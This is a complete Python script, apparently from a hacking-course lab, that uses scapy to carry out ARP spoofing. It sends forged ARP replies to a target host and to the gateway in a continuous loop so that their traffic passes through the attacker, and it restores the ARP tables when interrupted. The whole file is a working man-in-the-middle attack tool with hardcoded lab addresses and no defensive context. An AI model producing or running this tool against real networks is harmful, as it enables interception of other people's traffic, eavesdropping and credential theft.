#!/usr/bin/env python

#Usage example: python arpspoofer.py

import scapy.all as scapy
import time
import sys


def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    combined = broadcast / arp_request
    answered_list = scapy.srp(combined, timeout=1, verbose=False)[0]
    return answered_list[0][1].hwsrc

def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)

def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac      = get_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    scapy.send(packet, count=4, verbose=False)

target_ip  = "10.0.2.9" #run the network scanner and get the target_ip
gateway_ip = "10.0.2.1" #run the network scanner and get the gateway_ip

count = 0
try:
    while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        count = count + 2
        print("\r[+] Packets Sent : " + str(count)),
        sys.stdout.flush()
        time.sleep(2)
except KeyboardInterrupt:
    print("[+] Detected Ctrl + C ....... Resetting Arp tables .... Please Wait")
    restore(target_ip, gateway_ip)
    restore(gateway_ip, target_ip)
